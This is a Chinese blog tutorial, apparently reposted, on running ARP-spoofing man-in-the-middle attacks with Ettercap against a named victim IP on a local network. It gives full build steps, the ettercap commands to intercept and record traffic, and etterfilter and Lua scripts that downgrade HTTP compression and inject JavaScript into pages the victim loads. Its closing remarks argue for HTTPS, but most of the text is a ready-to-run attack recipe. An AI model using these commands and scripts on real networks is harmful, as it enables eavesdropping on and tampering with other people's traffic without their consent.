使用Ettercap filter进行流量监听和数据篡改

Posted 我们都曾拥有最美的时光

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了使用Ettercap filter进行流量监听和数据篡改相关的知识,希望对你有一定的参考价值。

简介

Ettercap是一个综合性的中间人攻击工具,使用它可以进行ARP欺骗、拦截器、DNS欺骗等操作,本文将介绍使用ettercap的文本模式进行代码注入的方式和注意点。

安装ettercap

ettercap提供了对各个操作系统的支持,这里主要介绍macOS的安装方式。

通过Homebrew安装

这种安装方式较为简单,但是安装的ettercap不支持Lua脚本,如果想要使用支持Lua脚本的ettercap,需要通过源码安装。

brew install ettercap

通过源码安装

源码安装需要较多的依赖库,具体依赖可以在Ettercap文档中查看,如果是Ubuntu平台,使用apt-get即可安装所有依赖,如果是macOS平台,可以使用Homebrew安装大部分缺失的依赖,如果Homebrew上没有,可以尝试使用gem,笔者使用Homebrew和gem完成了所有依赖库的安装。

1.首先将ettercap源码clone到本地,然后编辑CMakeLists.txt,将第16行的

option(ENABLE_LUA "Enable LUA support (EXPERIMENTAL)" OFF)

置为ON,如果只是使用文本模式,可以将ENABLE_CURSES和ENABLE_GTK置为OFF。

2.按照文档建立并进入builid目录,执行如下命令。

cmake .. -DOPENSSL_ROOT_DIR=/usr/local/opt/openssl -DOPENSSL_LIBRARIES=/usr/local/opt/openssl/lib

3.如果第二步中有提示某个库not found,先安装对应的库,然后先执行make clean-all,再重新执行2中的命令,如果只有memrchr提示缺少,则可以忽略,经测试不会影响ettercap的运行。
如果没有上述问题,执行如下命令完成安装。

sudo make install

4.完成安装后,可以使用which ettercap查看安装位置,默认来说,ettercap的相关工具在/usr/local/bin/,配置文件在/etc/ettercap,运行时执行的Lua脚本在/usr/local/share/ettercap/lua/

使用ettercap进行中间人攻击

流量监听

通过ARP欺骗,我们可以使得受害者将我们视为网关,而网关将我们视为受害者,这样就实现了从请求到响应的双向监听,下面我们假设192.168.0.1是网关,而192.168.0.119为受害者,执行下面的命令即可进行监听。

sudo ettercap -T -q -M ARP:remote -w network.pcap /192.168.0.1// /192.168.0.119//

其中-T代表文本模式,-q为安静模式(不在控制台输出监听的数据),-M为中间人攻击,-w指定的是存储到磁盘的网络数据包,可以使用Charles或Wireshark等工具进行分析。其中ip地址的格式,根据编译源码时CMakeList中指定的是否支持IPv6,分别为MAC/IP/IPv6/PORTMAC/IP/PORT格式。

当受害者浏览网页时,网络报文会被记录在network.pcap中,按下空格会退出安静模式,将报文同时打印到控制台。

数据篡改

使用etterfilter

1.首先我们介绍使用etterfilter编译filter并加载到ettercap对网络请求进行处理的方法,首先建立一个ig.filter文件,写入以下内容。

# 拦截受害者发送的请求,将报文压缩方式由gzip降级为不压缩
if (ip.proto == TCP && tcp.dst == 80) 
    if (search(DATA.data, "Accept-Encoding")) 
        pcre_regex(DATA.data, "(Accept-Encoding:).*([\\r\\n])", "$1 identity$2");
        msg("change encoding");
    

# 对于服务器响应,向head中注入js
if (ip.proto == TCP && tcp.src == 80) 
    if (search(DATA.data, "<head>")) 
        replace("<head>", "<head><script>alert('js inject')</script>");
        msg("inject head");
    

这里需要注意的是,一定要对请求头的Accept-Encoding进行篡改,否则响应默认使用gzip编码的,这样我们直接注入明文js是无效的,将编码方式降级为Identity,服务端会返回明文报文,同时客户端也不会再对报文进行一次解码。

2.使用etterfilter将filter文件编译成ef文件

etterfilter ig.filter -o ig.ef

3.在监听数据的同时加载过滤器

sudo ettercap -T -q -F ig.ef -M ARP:remote -w network.pcap /192.168.0.1// /192.168.0.119//

4.尝试在受害者端使用浏览器访问未使用HTTPS的网站,例如http://m.ctrip.com,如果成功会看到网页弹窗。

使用Lua脚本描述过滤器

使用Lua脚本的好处是不需要经过编译,直接加载即可,另外一个好处是,不会破坏网页的原始结构 ,而etterfilter方式在数据包中含有大量数据,又向其中添加数据时,会造成包尾被截断,从而破坏网页结构。

使用Lua实现上述功能的代码如下。

description = "Inject JS using Lua.";
local hooks = require("hook_points");
local packet = require("packet");
inject = "<script>alert('Inject JS using Lua.')</script>";

hook_point = hooks.filter;

packet_rule = function(packet_object)
    return (packet_object:is_tcp() and
            packet_object:has_data() and
            (packet_object:dst_port() == 80 or
            packet_object:src_port() == 80));
end

action = function(packet_object)
    p = packet_object;
    data = p:read_data();
    if string.find(data, "Accept.Encoding:") then
        s,e = string.find(data, "Accept.Encoding:.-\\n")
        newdata = string.gsub(data, "Accept.Encoding:.-\\n",
        "Accept-Encoding: identity " .. string.rep(" ", e - s - 27) .. "\\r\\n")
        packet.set_data(p, newdata)
        -- ettercap.log("Changing Encoding");
        return
    end
    body = string.upper(data);
    if (string.find(body, '<HEAD>')) then
        s,e = string.find(body, '<TITLE>.-</TITLE>');
        if s then
            title = string.sub(data, s, e);
            s,e = string.find(body, '<TITLE>.-</TITLE>');
            if not s or not e then
                return;
            end
            len = e - s;
            idata = "<title>" .. description .. "</title>" .. inject .. "\\n";
            print(idata);
            newstr = string.sub(data, 0, s - 1) .. idata .. string.rep(" ", len - string.len(idata)) .. string.sub(data, e+1, -1);
            -- ettercap.log("Updating string");
            packet.set_data(p, newstr);
        end
    end
end

ettercap中的lua API可以在/usr/local/share/ettercap/lua中查看,在网络监听时加载Lua脚本的命令如下。

sudo ettercap -T -q -M ARP:remote --lua-script ig.lua -w network.pcap /192.168.0.1// /192.168.0.119//

总结

本文主要介绍了使用ettercap监听和篡改HTTP流量的方法,可以看到在强大的工具面前,HTTP流量是不堪一击的。因此普及HTTPS对于保护数据安全即为重要,除此之外,CISCO等高端路由器默认对ARP欺骗进行了防御,在其局域网下也很难进行中间人攻击。对于HTTPS的数据监听,我们有两种思路,一种是降级为HTTP,这种方式易被察觉;另一种是使用SSLStrip等工具进行会话劫持。

参考资料

  1. 灰帽黑客(第4版)
  2. https://github.com/Ettercap/ettercap

以上是关于使用Ettercap filter进行流量监听和数据篡改的主要内容,如果未能解决你的问题,请参考以下文章

针对SSL/TLS的拒绝服务攻击以及使用ettercap进行DNS欺骗

分析密码工具

ARP欺骗:使用工具:arpspoofdriftnet和ettercap

java web 项目中基础技术

ettercap+arpspoof进行HTTP信息嗅探

ARP渗透与攻防之Ettercap Dns劫持